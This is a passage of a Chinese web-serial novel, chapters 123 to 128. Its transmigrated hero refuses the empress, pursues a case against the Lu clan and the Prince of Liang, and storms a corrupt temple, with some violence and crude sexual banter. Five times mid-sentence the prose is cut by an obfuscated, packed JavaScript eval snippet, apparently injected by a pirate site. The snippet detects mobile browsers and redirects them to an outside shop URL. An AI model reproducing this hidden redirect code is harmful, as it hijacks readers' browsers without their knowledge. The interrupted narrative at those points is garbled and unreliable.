理论上青尧县的兵力确实无敌,但青尧县不是可以无限繁殖的虫族基地,也不是什么异形的养殖场,他们只是一群活生生的人。 只要将青尧县管理层全部拿下,无论青尧县如何富饶,兵力如何强壮,最终都会灭。 那么女帝的目的,到底是为了什么? 真就是为了和他成亲? “朕要和你谈谈!” “谈一个你无法拒绝的条件!” 第一百二十三章 来自女帝的告白 许攸心头一紧! “陛下,你难道……” 他不敢继续说下去,也没有勇气继续说下去。 秦曦第一次在许攸面前,没有生气,只是保持了普通人的模样。 在她的脸上,有数不尽的风霜侵蚀,明明才二十左右,她却已经未老先衰,皮肤暗淡,眼角也出现了皱纹。 两人彼此对视,甚至可以感受到对方的心跳。 “你想要的,是天下大同,是康庄盛世,是无数人的信仰!” “朕知道你非俗人,所做一切,也非凡人之力!” “你不能说,也无法言明,你只能将种子种下,甚至不敢世人,为了防备乱局,还留下诸多后手!” 许攸惊了,他第一次发现,眼前的女帝,居然比他认知的还要恐怖。 如此厚重的直觉,他从未察觉。 秦曦声音很平淡,每个字都仿佛要冲进许攸的脑海。 “你才华盖世,连**都自愧不如!” “昨日你怕是不知道,你在醉月花坊中所言,早已传遍整个长安!” “朕相信你不会怕,也不会认输!” 说到此处,秦曦皱起眉梢,缓缓自衣袖中,取出一方玉玺,放到了许攸面前。 “传国玉玺自高祖继位便以丢失,此玉玺不过是仿造,但也能威震天下。” “朕只问你一句,你当真愿意死的这么不甘,当真愿意看着世家横行,看着百姓受苦?” “青尧县只是一个县,但大唐之大,你可以随意施为!” “朕不会拦你,也拦不住你。” “你可愿意帮我?” 一双凤眸中泪花闪烁,她累了。 她也只是个女人,没有男人依靠,唯一的依仗,在一点点变老,手中的权利也在逐渐消散。 一旦李牧身死,大唐必然会分崩离析。 大将军蒙武拥兵自重,各州府欺上瞒下,世家门阀横行,百姓过的如何,都是奏疏上的太平,以及世家粉饰的盛世而已。 许攸犹豫了,权利会侵蚀人的神智,女人会让他迷恋红尘。 有了这些羁绊,他还怎么超脱红尘,坦然赴死? 大殿内压抑的可怕,在李牧看来,天子如此交心,换做任何人,都会感激涕零。 然而面对两人的期待,许攸长叹了一口气。 他来长安,是为了功名利禄吗? 不是! 他是奔着女帝来的,是奔着成仙,回到自己世界而来的。 诚如女帝所言,他虽然没有仙法,但他留下的种子,正在改变大唐。 可如果他继续这么搞下去,一个青尧县不可怕,十个,百个,千个…… 到了那时候,大唐将会质变,而建立这种社会模式的他,更是会成为“圣人”。 他会死? 许攸用屁股想想,到时候他怕才是真正的皇帝,女帝就是他暖床的丫鬟。 想死都不可能,更别说回去当仙人,无忧无虑逍遥自在。 “陛下,虽然你很漂亮,你这番话说的我很心动,但是……” 许攸干咳一声,声音不大,但足以让秦曦和李牧听到。 “但是我想死啊!” “我又不想当官,你不弄死我,那我就自己去找人弄死我,到时候世家闹腾起来,让你下旨砍了我,我不信你不动手。” “咱们都是成年人,你要是给我当跑友,我是乐意的。但是睡归归,死归死,咱们一码归一码。” 秦曦人都懵了。 那张完美的脸颊,瞬间变成了紫红,额头青筋暴涨,一根根疯狂跳动。 握着玉玺的手,也因为愤怒过度,此刻青筋全部暴起,显得很是狰狞。 她听到了什么? 她堂堂大唐天子,亲自放下身段,卑躬屈膝。 结果换来的,就是这种话? 眼前这狗贼,把她当成了什么? “你找死!” 阴沉的话语,从她嗓子间被逼仄而出,阴沉而沙哑。 那双赤红的眼睛瞪圆,死死盯着许攸,就似乎要把他给生吞活剥了。 许攸摊开手,无奈的道。 “陛下,你都知道我想死,为何大家不畅快点呢?” “你把臣从青尧县弄到长安城,要是目的是为了什么大唐盛世,那你就慢慢活,争取活个百八十年,你肯定能看到。” “你说你何必和我计较,早点弄个圣旨,将我赐死就行了。” 要是许攸说个理由,秦曦或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997953|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许不会这么生气。 刚才那番话,她是忍着羞涩,将心中的情感全部道出。 可等她的,居然是许攸提裤子不认账。 什么叫做睡归睡,死归死,还要一码归一码。 “好,好一个想死!” 此刻她的心中杀意不断弥漫,她怕自己真的克制不住。 “你就不怕朕阉了你,将你留在宫中?” “啊?” 许攸傻了,他都没想到还有这茬。 “陛下,您大人有大量,您是天子,我就是个屁,您当我是个屁放了。” 秦曦被气乐了,她从不知道,天下间居然有如此厚颜无耻之人。 但从许攸的话语中,她也听出来,许攸并非没忌惮,而是真正的随心所欲。 真若是逼急了,到时候许攸跑了,哭的还是她。 心中烦躁之下,秦曦拿起玉玺,猛地朝着许攸砸去。 “滚!” “给朕滚出去!” “若是日后你再拿朕的令牌胡来,朕就把你阉了!” 许攸没半点迟疑,将玉玺反丢回桌上,一溜烟往门口跑。 临近门口的时候,他又这番回来。 “陛下,令牌不能随便用,你给我写两张圣旨,你看如何?” 他突然想到了计策,要是自己拿着玉玺,搞两张空白圣旨,再依照秦曦字体,写一份圣旨赐死自己,说不定也能过关。 可惜这小聪明,瞬间被秦曦识破。 “你给朕滚,再敢碰玉玺一下,朕不但阉了你,还立刻下令将你那两个小想好收入宫中!” “牛……逼!” 许攸怂了,女人彪悍起来,果然没男人什么事情。 眼看他夹着腿跑,秦曦是又气又怒。 “舅舅你看看他,他就是个无赖!” “朕……朕要阉了他!” 李牧眼观鼻,鼻观口,如同老僧入定一般,装作什么都不知道。 果然,还没过片刻,秦曦又扭着身体,拿起玉玺在桌上猛砸。 “奸贼,你不是想死,真就满足你!” “舅舅,你说我把小月儿赐婚给他如何?” 刚走出宫门的许攸,猛地打了个两个哈切,还不知道自己已经被盯上了。 第一百二十四章 搞事,必须搞大事 重新回到京兆府,这已经是晚上,不等许攸进门,门口差役和主簿文书,整整齐齐站了两排。 “恭迎许大人。” 许攸刚要往前走的脚,猛地一顿,扭头看向最前面的箫成。 “萧文书,这是闹什么呢?” 箫成今日得到自己叔叔的信件,对许攸更是佩服。 京兆府内的文书主簿,其实大多是和朝廷有关系,就如同卢主簿一样。 见许攸问话,他当即躬身道喜。 “许大人年少有为,如今才二十**便被天子封为长安县男,日后前途不可限量。” “恭喜许大人,贺喜许大人!” 其他人也纷纷道贺。 “许大人年少有为,当为我等表率,我等佩服不已!” “许大人日后要是飞黄腾达,可不要忘记我等,还请多多提携。” 许攸闹明白了,天子留下他和李牧用膳,对外的信号就是,他许攸要飞黄腾达。 李牧是当今天子的亲舅舅,两人关系毋庸置疑,而他一个外臣,哪怕受封,也没资格在紫寰殿用膳。 然而许攸要的可不是这样,他要的是所有人敌视他。 如今这帮老油子,一个个开始阿谀奉承,日后他还怎么得罪人? “客气客气,改日再请诸位,今日我有些乏了。” 许攸感觉到不对劲,赶紧找了个借口开溜,也不继续去查卢氏的案子。 留回自己的府邸,连胭脂都知道了今天的事情。 见此情况,许攸心中警笛大作。 必须要搞事,而且要搞一件大事,还得把卢氏背后搞事情的人给找出来。 三百多条人命,绝非是小案子。 想到此,他立刻喊来周龙。 “周龙,你拿着我的印鉴,去红叶楼一趟,我要卢氏所有人的资料。” “是,老爷。” 周龙身形消失不见,半个时辰后才出现在书房。随他一同出现的,是半人高的卷宗。 许攸本来在打瞌睡,看到卷宗的瞬间,立刻来了精神。 “老爷,刚才我去红叶楼,掌柜的和我说,卢氏最近和梁王走的比较近。” “梁王四子秦勇,乃是卢氏卢颖达的弟子。” “卢颖达曾今是翰林院翰林,前年告退回家养病,如今就在梁王家中担任教**。” 周龙也很尴尬,上次抓卢氏的人,他有好几个没找到,这倒不是他的能力问题,而是那些地方短时间进不去。 好在许攸并非顽固之人,并没有抓着这些不放。 “你的意思是卢颖达很有可能,就是这幕后黑手?” “那老家伙都比李牧还大,黄土都埋到脖子,哪来的本事**小姑娘?” 关于地府内的亡魂,许攸也得到了点消息,这些亡魂都是枉死,还是因为他枉死。 最为奇特的是,这些枉死的亡魂,年岁都在六岁到十六之间。 放在前世,这**八万次都不为过。 许攸也纳闷,卢颖达都七十快八十,走路都费尽,找这么多小姑娘,难不成是打算炼丹? 周龙摇头,他得到的消息就这么多,罗网只是情报机构,也不是全知全能的神,能短时间调查到这么多消息,已经是他们的能力超群。 没办法,许攸只能将目光放到卢氏众人背景,以及相关的卷宗上。 一直看到后半夜,胭脂都提醒他好几次休息,他依旧没看到半点漏洞。 “奇怪了,卢氏难不成其他人都是好人,那陆判为什么要告诉我功德的事情?” “总不能就是为了给我开挂,让我分清什么是好人,什么是坏人吧?” 要不是有女鬼索命这个案子,许攸还真以为卢氏是良民。 事出反常必有妖,堂堂卢氏子弟上千人,有来往的更是多达万人,如此多的数量,不出一颗老鼠屎,完全不正常。 一直到天亮,许攸盯着双猩红的眼睛,晃晃悠悠出了门。 刚走出家门没多远,他就看到一辆马车从府邸门口匆匆是过去。 马车上刻有“梁”字,不用问他都能猜到,里面肯定是梁王府的人。 就在他准备往前继续走,马车突然掀开,里面露出了一张阴邪的脸。 看到那张脸,许攸愣住了。 “**,这什么妖怪?” 马车内是个二十一二的青年,面红齿白,左眼眼角有一颗痣,剑眉星目,长得很峻峭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997954|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但双眸目光阴邪,给人一种阴气森森的感觉。 见许攸看向自己,青年嘴角勾起笑容,给他一个不屑的表情。 “妈的,你小子死定了!” 许攸自从得到陆判给的外挂,第一次看到有人功德是负数,还是负几万的那种。 这绝对是缺的冒泡,祖坟冒青烟都快压不住的孽畜。 一般来说,**只是损功德,杀坏人也只是多一点点业力,好人可能要多点。 除非是那种那规模的灭族,即便是许攸灭了党项,也没多几万的业力。 反观眼前的青年,居然好几万业力,那样子都快赶得上许攸存的功德了。 “走,去刑部,这货祈祷最好没案子落在我手里!” 周龙一步不离的跟在许攸身边,今天只有他和张虎两人,主仆三**摇大摆直接来到刑部。 …… 刑部内,王亮正在品茶,虽然卢氏案子还没结案,但差不多已经定性,他打点的也差不多,绝对不会牵连到自己头上。 “逆子啊逆子,老夫怎么有如此逆子!” 想到自己儿子不争气,王亮又无奈的摇头,毕竟是亲儿子,打坏了他还得心疼。 正念着这些,门外突然传来一道声音。 “王大人许久未见,身体可还好?” 王亮听到这声音,险些没从椅子上蹦起来。 在看清来人是许攸,他的脸色骤然变成铁青,一脸不快的再次坐下。 “许大人,你是京兆府府尹,可不是我刑部的人,为何擅闯刑部?” 许攸笑呵呵的将手里一沓银票,往桌案上拍去。 这动作直接把王亮,以及周围的人看傻。 “王大人,这是令郎的欠条。” “钱,我就不要了,我求你个事!” 王亮干咳一声,急忙将银票塞了回去,不过债条却被他拽在手里。 “许大人所谓何事?” “你这里有没有梁王府的卷宗,我要查梁王府。” 刚还笑眯眯的王亮,脸上笑容彻底僵住。 别说,他还真有,而且是刚送来的! 就在他要说没有,许攸眼尖,看到了桌案上的卷宗,一把抢了过去! 第一百二十五章 你就是我亲叔叔 “不行,许大人!” 王亮额头鬓角冷汗都冒了出来。 这卷宗可不一般,事关梁王府,几百年是他都不敢大意,放在桌案上,也是打算得空,仔细琢磨如何处置。 谁知道许攸刚进来,就把卷宗顺跑了! “王大人,许某是不是京兆府的府尹?” 许攸不急不慢,一挥手就把卷宗塞兜里,根本没打算将卷宗还回去的想法。 王亮嘴巴张张,眼底中的阴霾挥之不去。 “许大人,本官不是和你说笑,此案你不能动,也无法动!” “此案涉及宗室,只有刑部可以负责!” 他打算利用刑部的职能,让许攸知难而退。 若是他不这么说,许攸或许会放弃。 许攸淡定的拍着胸口,一副我是老好人的模样。 “王大人此言差矣,我乃是京兆府府尹,京兆府内外大小事务,都是由我来处理,若是我没能力,自然会上报。” “如今这案子既然被本官知道,那自然要好好查证,万一和那女鬼索命案有关,岂不是错失了良机?” 王亮冷笑一声,身为王家嫡系,又是刑部尚书,他早已查清许攸来历。 当今天子乃女儿身,便引发了许多问题,尤其是继承人问题! 在王亮看来,许攸不过算是康王麾下的一条狗,一条胡乱咬人的疯狗。 得罪卢氏还不够,如今还要和梁王撕破脸! 要是许攸办好了,王氏得罪的就是康王,若是许攸办不好,那就是康王梁王一起得罪,还要被天子迁怒。 这怎么看,都不是一件好事! 王亮神色流转,看向许攸的目光充满忌惮。 “许大人,我劝你一句,此案不是你能随意处置!” “你如今深得圣恩,何必去冒如此风险,即便是荣华富贵,能比的上陛下所赐吗?” “哪怕是本官,也不敢轻易断言,能查清此案,你一个京兆府府尹……” 说到此处,王亮深深看了眼许攸,满脸都是惋惜之色。 许攸的脸上倒是没多少可惜,而是激动和亢奋。 终于让他逮到了大羊! 梁王家的卷宗,能让刑部尚书都如此忌惮,那肯定是通天的大案子。 说不定就和卢氏案子有关,甚至关系可能还不小! 当即,他脸上换了个表情,一把抱住王亮的手,双眼热泪盈眶。 “王叔,我就知道你肯定不会不管小侄,侄儿也不是冒险之人,奈何是天子下令。” 王亮:我是谁,我在哪,我在干什么? 王亮彻底懵了,手被许攸拽住,半天没拽回来,只能看着许攸抱着他的手,在桌案前诉说叔侄情谊。 “王叔,这案子已经被陛下知晓,是陛下派我来次,否则你说怎么会如此凑巧?” “我这也不想我们老王家出事,不想我黑发人,送你白发人。” 王亮彻底懵了,他看着许攸那伤心的神态,有一种自己命不久矣的感觉。 忽然,他浑身汗**竖起,猛地打了个冷颤。 “你……你刚才说,陛下派你来的?” 许攸知道王亮上钩了,但摸不准对方是故意,还是在阴自己。 两人互相都摸不准对方的用意,只能开始彼此表演。 王亮一惊一乍,那样子好像真的被这话给吓到。 “王叔,我怎么敢骗你呢?” “再说我现在可是为陛下办事,你也知道,陛下赐给我块腰牌,就是让我好去寻她,汇报长安城大小事务。” “我若是不管,那么……” 许攸右手划刀,在自己脖子前划了下。 “王叔,你可别见死不救,若是你帮我,那等我拿下卢氏,我们九一分。” 整个公堂内陷入死寂。 在场其他官员,恨不得把自己戳聋。 这是他们能不能听的吗? 偏偏许攸肆无忌惮,当着他们的面把这件事说出来。 看着王亮手里一沓银票,再看许攸那熟练的掏钱动作,众人脑子只有一个念头。 难怪他们一辈子都是小官,看看人许大人,这官场之道,参悟的程度,可比他们要强百倍! 王亮更是诧异,他不怀疑许攸在吹牛,而是诧异天子此番举动,无疑是给人留下把柄。 如今天子在位三年,始终没给世家和门阀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997955|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会,天下一直保持表面的祥和,没有人会找不自在。 但自从许攸这个异类抵达长安,就彻底变了。 先是在朝堂上,捏了一通莫须有罪名,堂而皇之和天子唱双簧,得了京兆府府尹位置。 而后直接拿卢氏动手,要铲除卢氏。 此番举动,很是耐人寻味。 王亮感觉背后全是冷汗,哪怕当官这么多年,在官场内纵横,他也没想到许攸的真实目的。 “想不通,为什么这家伙要送死,难不成他真的是为了卢氏?” “可卢氏除了钱,还能有什么?” 王亮想起最近传闻,又联想到前些日子天子在朝廷上的话。 西征! 刚才他满脑子的结节,在这一刻瞬间打通。 “没错!天子要西征,粮草兵甲人马,无一不需要钱,而卢氏有的是钱!” “如今掌控兵权的除了蒙武一脉,就是梁王!” 王亮打了个冷颤,若非他提前调查过许攸,怕是要和其他人一样,被许攸外表所蒙骗,以为眼前的青年,是个不怕死的愣头青。 这压根不是愣头青,是康王送给天子的剑,威震天下的剑! 到了此刻,王亮也彻底醒悟,和许攸为敌,那是找死。 “许大人,你刚才说的可是真的?” 许攸连连点头,反正钱到不了他的手里,别说九一分,就是上九一,他都不带怕的。 见状,王亮长叹一口气,似乎想通了,起身朝着那些刑部官员挥挥手,自己则是朝着不远处的书柜走去。 很快他从书柜下面,掏出个木箱,从里面取出一份卷宗,放到了许攸的面前。 “许大人,我可先说好,这卷宗你一旦打开,那就没了回头箭。” “你走出这个门,本官就会上报圣上,今日刑部走水,不少陈年卷宗被大火所毁!” “今日也未曾有人见过许大人,更不知道你曾来过刑部!” 老狐狸! 许攸将卷宗收好,没问到底是什么,起身朝着王亮作了一礼。 “王叔你放心,小侄一定会给你个大惊喜。” 大惊喜,怕是大惊吓差不多! 第一百二十六章 找梁王的麻烦 从刑部回到京兆府,许攸将卷宗打开。 他怀里两份卷宗,其一是他从王亮手里抢来的。 上面内容很简单,就是长安县有民妇状告梁王之子秦勇,当街强抢民女。 强抢不成之后,秦勇居然下令,让身边护院将女孩给扒光衣服,用鞭子活活抽死。 此案刚到长安县县衙,就被送到刑部。 另外一卷则更有意思,三年前发生的一起案子。 案子发生在相国寺,也就是在秦曦登基的十天前,云安公主在相国寺礼佛**。 老皇帝得知此事龙颜大怒,要斩了所有相国寺的和尚,结果查出一桩惊天大案。 相国寺内的主持,居然是强盗出身,不仅如此,这些年相国寺内仗着在长安城,且有梁王庇护,肆意霸占良田,代替官府收税。 另外还有一点,只要进相国寺求子的,不论老弱,都会怀孕! 看到这里,许攸就彻底明白,相国寺就是贼窝,当初老皇帝驾崩前没来得及处置,外加新帝上位,相国寺举寺为老皇帝守陵,也让秦曦无法动手。 “有意思,梁王居然和相国寺有勾连,那看来这件事案子不算小事!” 无论是当街打死个姑娘,还是相国寺案子,许攸都不打算轻饶。 更重要的是,相国寺如此大量财富,必然不可能堂而皇之流入梁王的手,这里面必然有中间人! 这位中间人,十有**就是和那三百多条人命有关的卢氏。 将两份卷宗装订收好,许攸面无表情走出京兆府府衙。 “许大人,您这是?” 箫成现在成了许攸的门房,见到他要出门,立刻躬身跑过来。 “今日无事,可有什么乐子?” “本老爷初次到长安城,连长安城有什么都不知道,你且说给我听听。” 许攸没着急去提相国寺,不然也太明显了。 箫成不明觉厉,还以为许攸终于打算不搞事,当即就开始介绍起长安的风景。 长安城能说的上风景秀丽的,也就那么几处,大多都距离长安城很远,此刻已经近黄昏,一来一回说不定赶不上关城门。 想了片刻,还真让箫成想到了个好去处。 “许大人可愿意去看桃花?” “桃花?” 许攸愣了下,马上都快入冬了,这季节还有桃花? 要说有菊花看,他还相信。 说桃花,这简直是把他当傻子。 箫成也觉察到自己的话可能有问题,急忙低头解释。 “三年前陛下为了纪念先皇,特意在相国寺种了一片桃林,那是长安城富家小姐和千金们最爱去的地方。” 许攸不乐意了,这话说的,好像他是什么色中饿鬼,就盯着人家漂亮姑娘看了。 “下次有这种好地方,记得早点汇报。” “对了,那些小姐姐穿的大胆不?” 箫成已经做好被骂的准备,谁知眼前许大人居然如此的不靠谱,还问他人家姑娘穿的大胆不大胆。 要是不大胆,他能说吗? 两人对视一眼,从对方眼底看到答案,便快速上了马车。 毕竟是去相国寺,作为长安城第一大寺庙,地位超然是首要条件。 马车行驶在青石小道上,两侧来往行人不断,有衣着华贵的富家小姐公子,有身着儒袍的文人墨客,还有一些衣着普通,但面相虔诚的香客。 他们的目的和许攸一样,都是往前方不远处的相国寺而去。 还未靠近寺庙,梵音如雷翻滚,道道香火气息,弥漫在许攸等人鼻翼前。 许攸探出脑袋,见寺庙近在咫尺,干脆和众多香客一样,选择步行进入大点。 跟在他身后的箫成,则是左右打量,似乎在找有没有认识的熟人。 此行两人都没穿官袍,就是一身素衣,看上去也不起眼。 “萧文书,相国寺建成没几年吧?” 许攸右手捏着折扇扇柄,左手握住扇把,有一下每一下的在手心轻敲。 按照他所看的长安县县志,相国寺是大唐初年建立,开始才一个小寺庙,如今不但占地辽阔,寺庙之中还有个高达二十米的金身释迦摩尼像。 如此庞大的金身,哪怕是镀金,也得要不少的钱财。 许攸眯起眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997956|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,果然盛世之下,必有腐朽。 看着眼前虔诚的信徒,他内心愈发冰冷。 “走吧,我们也进去拜拜佛。” 这语气轻挑,说不出的玩味。 箫成一惊,下意识看向许攸。 他只看到一脸的玩味,以及阴沉? “许大人,你……你要动相国寺?” 这话出口,连箫成自己都觉得是在说笑。 许攸没回答,只是淡淡的噙着笑,大步往寺庙内走。 两人还没踏进寺庙正门,就被人给拦了下来。 “两位恩客,可是来礼佛的?” 许攸嘴角勾起玩味笑容,轻蔑的将视线落到沙弥身上。 “是又如何?” “不是又如何?” 玩味轻挑的语气,并未让沙弥退让,反而还引起一声淡淡的轻笑。 “佛说缘字妙不可言,两位若不是来礼佛,那便早些离开,何必惹得大家都不快。” “若是两位诚心,那边拿上诚意,让佛看到两位的心。” 眼前这沙弥说了半天,总结下来就一句话。 佛渡有元人,没钱的穷逼早点滚。 他还没开口说什么,旁边的箫成炸了。 箫成虽然只是个进士,但能考中进士,无一不是心高气傲之辈。 平日里碍于家里的规矩,他都没怎么出门,今日本来想在许攸面前装装身份,拿下格调,结果居然出门就遇到这事。 “放肆,你可知道我等身份!” “我乃京兆府……” 箫成话还没说完,就见到沙弥斜着眼,轻蔑的竖起手中长香。 “来我们相国寺的不但有世家贵族,还有王侯将相,连王爷郡主来了,都要先烧香拜佛。” “两位既然无缘,那便请回吧!” 箫成这辈子都没受过如此羞辱,哆嗦着伸手从兜中掏出个荷包,刚要砸向沙弥,却见到面前飘过一张银票。 “想要香火钱,那就让你们的佛,跪着怕出来见我。” “本老爷有的是钱!” 许攸玩味的声音响起。 一张张银票漫天飞舞,最少也有百两,多得甚至千两。 第一百二十七章 相国寺中的猫腻 沙弥脸上的鄙夷消失,转而变成了愤怒。 “你等是故意找事不成,居然敢羞辱小僧!” 许攸摊开手,冲着四周看过来的香客,无奈解释。 “诸位都看看,相国寺欺人太甚,我等慕名而来,却不曾成了无缘之人!” “这沙弥说有缘才能进,那不知道本老爷是有缘,还是没缘?” 进门要钱的,许攸见的多了,青尧县也要钱,但问题服务态度要到位。 就沙弥这样子,除非是脑袋被门夹了,不然谁也不会惯着他。 果然,这话一出,不少之前受过刁难的,纷纷开口声讨沙弥的不是。 “区区沙弥居然当起了真佛,当真是扫兴!” “我等也走吧!” 不少人看到许攸都被刁难,干脆直接扭头就走。 长安城也不是就相国寺一处赏花看风月的地方,真有钱早就去花坊玩,谁跑来和个沙弥受气。 看到周围香客都转身要走,沙弥的脸色彻底变了。 他没想到许攸如此厉害,三言两语不但羞辱了他,还将周围香客也给劝退。 不过身为相国寺的沙弥,他并不惧怕许攸,也未曾把这番言论放在眼底。 “施主,你若是继续胡搅蛮缠,可别怪我不客气!” “今日我们寺庙中有贵客到访,尔等既然心不诚,那早些离开也好,否则触怒贵人,怕是你们连死都不知道如何死的。” 佛家重地,本应该以慈悲为怀,如今沙弥口中一口一句死,一口一句有元,把相国寺给污染成了满是铜臭和血腥的地狱。 箫成彻底忍不住,先前许攸要动相国寺,他觉得是莽撞,现在他是巴不得弄死这帮秃驴。 “呸,贼秃驴,你等最好小心点,若是落到我手里,我让你知道我们京兆府的厉害!” 进门是进不去了,箫成无奈看向许攸。 当他转头瞬间,却见到许攸依旧嘴角噙着笑,满脸淡然的模样。 “大师,此乃佛门之地,你一口一句死字,未免有些不合适!” “今日我等前来,只是慕名而来,你说无缘,那本官不知道到底有没有缘!” “周龙张虎何在,将此人拿下!” 许攸嘴角勾起,声音陡然变冷。 “知道这是何物吗?” 金色令牌在阳光下熠熠生辉。 从金牌上折射而下的光线,落在沙弥的脸上。 沙弥瞳孔放大,猛地看向那四个金色大字。 “如朕亲临!” 他脸上的傲慢瞬间消散,转而是一阵惊讶。 但是,他的脸上只有惊讶,并未有太多的惶恐和不安。 许攸脸上也浮现出了笑容,他以为相国寺就是个藏污纳垢的地方,是个不入流的小地方,看来还是他想的太简单。 就连箫成都看出来,眼前的相国寺不一般,里面绝对有大人物。 箫成有点后悔,上次他找事,将许攸引到兰阳县,结果把卢氏得罪。 今天他真没使坏,就是打算尽尽地主之谊,请这位新来的京兆府府尹,好好享受下长安的乐趣。 可谁知这次,竟然遇到了如此破事。 周龙和张虎上前,两人人高马大,但没把沙弥吓退。 “原来是天子亲信,小僧失礼了!” 说罢,沙弥双手合十,第一次对许攸行礼。 “只是今日不巧,有贵客前来,即便是天子亲至,也要先行通报。” “两位请回吧!” 许攸内心更加惊讶,金牌令箭在长安城,那就等于是螃蟹的腿,让他都横着走了。 可没想到居然在相国寺不行! 什么人能无视天子帝威,能大的过这天下唯一的主人? “蔑视天威,你好大的狗胆!” 许攸冷笑一声,周龙腰间佩刀噌的出现在他手中,刀锋划破沙弥的皮肤,鲜血顺着刀锋不断溢出。 “本老爷耐心有限,让你们主持滚出来,要么本老爷就提着你的脑袋进去!” “十个数!” “十!” 沙弥那见过这阵仗,只感觉脖子刺痛,双眼顺着刀身看去,殷红的血液,把刀锋彻底染红。 他双腿一软,直接跪在地上,脸上没有半点血色。 周围的香客和游客见状,纷纷退避三尺,生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997957|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕许攸不分青红皂白,将他们也牵连。 见此,许攸长刀猛地往前一抵,看也没看沙弥一眼,迈开脚步就往前走。 “许大人,咱们就这么进去?” 箫成既感觉刺激,又忐忑不安。 当着上百人的面,说杀就杀,这位许大人,到底是人面善心,还是杀神降世? 许攸懒得解释,他能看到功德值,小沙弥业力都快突破四位数了,这种**早杀早点去地府接受改造。 一行人畅通无阻,直接往大殿前去。 大殿内并未见到主持,许攸皱起眉,偌大的寺庙,想要找个人,可不是什么容易的事情。 “萧兄,你们是不是来找主持的?” “适才我看到主持往湖心小筑去了,你们去那边,或许能看到。” 就在许攸打算让张虎喊人,一道声音打破了宁静的气氛。 说话的是个白面书生,文文静静,看似只有二十一二,在她旁边站着个小侍女,两人真直勾勾看着箫成。 见状,许攸用胳膊肘捅了下箫成,故作娇滴滴的嘲笑。 “萧兄,人家小兄弟都给你说话了,你怎么不回答?” 箫成一张脸血红,站在原地双手搅动衣服,活脱脱就是大姑娘模样。 一时间,许攸都无语,好好的大男人,也算是有勇有谋,但遇到姑娘,居然和女人似的。 “这位弟弟,箫成就拜托你,你们先回。” “多谢许兄!” 说话的“大兄弟”眉宇上挑,冲着许攸再次拱手。 “许兄你若是去湖心小筑,且不可进入其中!” “为何?” “不可言说,你见到自会明白!” 丢下这话,这名女扮男装的大兄弟,急忙拽住箫成,就往寺庙外走。 许攸眉头金锁,看来相国寺内,并非那么简单,今日这位贵客,怕是皇亲国戚。 穿过大殿后,后面就是一片人工湖,湖面波光粼粼,微风吹过,带来一阵阵娇媚的轻啼。 “嗯哼……你好讨厌,弄疼人家了。” 许攸眼睛瞪圆,看向湖心的二人,表情彻底凝固。 第一百二十八章 郡主和和尚的爱情 “周龙你掐我下,老爷我是不是看错了?” 许攸嘴巴张大,眼睛瞪圆,毫无形象的盯着眼前景象。 周龙憨憨的伸手,在他手臂上掐了下。 疼! 感受到疼痛,许攸再次回过神,看向远处的亭子。 亭子修建的很豪华,青色石柱,乌黑瓦片,四周帘幔随风而动。 随着帘幔的撩开,里面人影再次出现在许攸视网膜上。 女子身材妖娆性感,身上宫裙半解,雪白玉肩上锁骨不断浮现。 而她身侧,则是个面容俊朗的……和尚。 “**,辩机和高阳?” 不对! 许攸确定自己没拿错剧本,也没走错世界,这里虽然国号是唐,但和他前世的大唐八竿子打不到一起。 当今天子姓秦,还是个女人,和李世民也压根没关系。 